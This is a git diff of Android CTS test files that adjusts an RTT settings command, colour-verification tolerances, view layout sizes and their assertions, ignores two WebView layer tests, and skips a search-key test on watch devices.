index 76df59c..e434eba 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
@@ -326,13 +326,13 @@
private void setRttMasterSwitch(boolean on) throws Exception {
TestUtils.executeShellCommand(getInstrumentation(),
- "settings put system rtt_calling_mode " + (on ? 1 : 0));
+ "settings put system secure rtt_calling_mode " + (on ? 1 : 0));
}
private boolean getRttMasterSwitch() throws Exception {
try {
return Integer.valueOf(TestUtils.executeShellCommand(
- getInstrumentation(), "settings get system rtt_calling_mode")) == 1;
+ getInstrumentation(), "settings get secure rtt_calling_mode")) == 1;
} catch (NumberFormatException e) {
// If the setting hasn't been set yet, assume it's off
return false;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
index a56899e..92c9bd7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
@@ -193,9 +193,9 @@
}))
.runWithVerifier(new RegionVerifier()
// We're filtering, so... BLACK-ish and WHITE-ish it is.
- .addVerifier(blackArea, new ColorVerifier(Color.BLACK, 6))
+ .addVerifier(blackArea, new ColorVerifier(Color.BLACK, 16))
.addVerifier(greyArea1, GREY_ONLY_VERIFIER)
.addVerifier(greyArea2, GREY_ONLY_VERIFIER)
- .addVerifier(whiteArea, new ColorVerifier(Color.WHITE, 6)));
+ .addVerifier(whiteArea, new ColorVerifier(Color.WHITE, 16)));
}
}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index 6b5857f..c9e0e42 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -49,6 +49,7 @@
import androidx.annotation.ColorInt;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -537,6 +538,7 @@
@LargeTest
@Test
+ @Ignore // b/109839751
public void testWebViewWithUnclippedLayer() {
if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
return; // no WebView to run test on
@@ -571,6 +573,7 @@
@LargeTest
@Test
+ @Ignore // b/109839751
public void testWebViewWithUnclippedLayerAndComplexClip() {
if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
return; // no WebView to run test on
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index c3b97c5..31d8918 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -27,12 +27,12 @@
<android.view.cts.MockView
android:id="@+id/mock_view"
android:layout_width="100px"
- android:layout_height="200px"/>
+ android:layout_height="100px"/>
<android.view.cts.MockView
android:id="@+id/scroll_view"
android:layout_width="100px"
- android:layout_height="200px"
+ android:layout_height="20px"
android:scrollbars="horizontal|vertical"
android:fadingEdge="horizontal|vertical"
android:scrollIndicators="top|bottom"
@@ -45,7 +45,7 @@
<android.view.cts.MockView
android:id="@+id/scroll_view_2"
android:layout_width="100px"
- android:layout_height="200px"
+ android:layout_height="20px"
android:scrollbars="horizontal|vertical"
android:requiresFadingEdge="horizontal|vertical"
android:fadingEdgeLength="20px"
@@ -57,7 +57,7 @@
<android.view.cts.MockView
android:id="@+id/scroll_view_3"
android:layout_width="100px"
- android:layout_height="200px"
+ android:layout_height="20px"
android:scrollbars="horizontal|vertical"
android:scrollbarThumbVertical="@drawable/scrollbar_no_size"
android:scrollbarTrackVertical="@null"
@@ -67,7 +67,7 @@
<android.view.cts.MockView
android:id="@+id/scroll_view_4"
android:layout_width="100px"
- android:layout_height="200px"
+ android:layout_height="20px"
android:scrollbars="horizontal|vertical"
android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
android:scrollbarTrackVertical="@null"
@@ -77,7 +77,7 @@
<android.view.cts.MockView
android:id="@+id/scroll_view_5"
android:layout_width="100px"
- android:layout_height="200px"
+ android:layout_height="20px"
android:scrollbars="horizontal|vertical"
android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
android:scrollbarTrackVertical="@drawable/scrollbar_track"
@@ -87,7 +87,7 @@
<android.view.cts.MockView
android:id="@+id/scroll_view_6"
android:layout_width="100px"
- android:layout_height="200px"
+ android:layout_height="20px"
android:scrollbars="horizontal|vertical"
android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
android:scrollbarTrackVertical="@drawable/scrollbar_no_size"
diff --git a/tests/tests/view/src/android/view/cts/SearchEventTest.java b/tests/tests/view/src/android/view/cts/SearchEventTest.java
index 9ae9e61..b679fac 100644
--- a/tests/tests/view/src/android/view/cts/SearchEventTest.java
+++ b/tests/tests/view/src/android/view/cts/SearchEventTest.java
@@ -21,6 +21,7 @@
import android.app.Instrumentation;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.hardware.input.InputManager;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.MediumTest;
@@ -73,6 +74,10 @@
@Test
public void testBasics() {
+ // Only run for non-watch devices
+ if (mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ return;
+ }
mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_SEARCH);
SearchEvent se = mActivity.getTestSearchEvent();
assertNotNull(se);
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index a742816..346a513 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -1885,14 +1885,14 @@
final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
assertTrue(view.hasCalledOnMeasure());
assertEquals(100, view.getMeasuredWidth());
- assertEquals(200, view.getMeasuredHeight());
+ assertEquals(100, view.getMeasuredHeight());
view.reset();
mActivityRule.runOnUiThread(view::requestLayout);
mInstrumentation.waitForIdleSync();
assertTrue(view.hasCalledOnMeasure());
assertEquals(100, view.getMeasuredWidth());
- assertEquals(200, view.getMeasuredHeight());
+ assertEquals(100, view.getMeasuredHeight());
view.reset();
final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
@@ -2589,7 +2589,7 @@
assertEquals(0, rect.left);
assertEquals(0, rect.top);
assertEquals(100, rect.right);
- assertEquals(200, rect.bottom);
+ assertEquals(100, rect.bottom);
final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java
index 4fab198..0dec681 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java
@@ -28,7 +28,7 @@
private static final long REMOTE_TIMEOUT_MS = 5000;
private static final String ALTERNATE_DIR_NAME = "test";
- private static final String COOKIE_URL = "https://www.example.com/";
+ private static final String COOKIE_URL = "https://www.webviewdatadirtest.com/";
private static final String COOKIE_VALUE = "foo=main";
private static final String SET_COOKIE_PARAMS = "; Max-Age=86400";
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index 3a85f47..e76382e 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -28,6 +28,7 @@
import android.app.Activity;
import android.app.Instrumentation;
+import android.content.res.Resources;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
@@ -323,7 +324,9 @@
final int prevGroupId =
i - 1 >= 0 ? menu.getItem(i - 1).getGroupId() : currGroupId;
View itemView = menuItemList.getChildAt(i);
- ImageView groupDivider = itemView.findViewById(com.android.internal.R.id.group_divider);
+ // Find com.android.internal.R.id.group_divider
+ ImageView groupDivider = itemView.findViewById(
+ Resources.getSystem().getIdentifier("group_divider", "id", "android"));
assertNotNull(groupDivider);
if (!groupDividerEnabled || currGroupId == prevGroupId) {
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
index 8a17153..229aeaa 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
@@ -81,7 +81,7 @@
}
if (null != mTestCase) {
mTestCase.addOptions(option);
- if (GTEST_CLASS_TAG.equalsIgnoreCase(option.getName())) {
+ if (MODULE_NAME_TAG.equalsIgnoreCase(option.getName())) {
mModuleName = option.getValue();
}
} else if (null != mTargetPreparer) {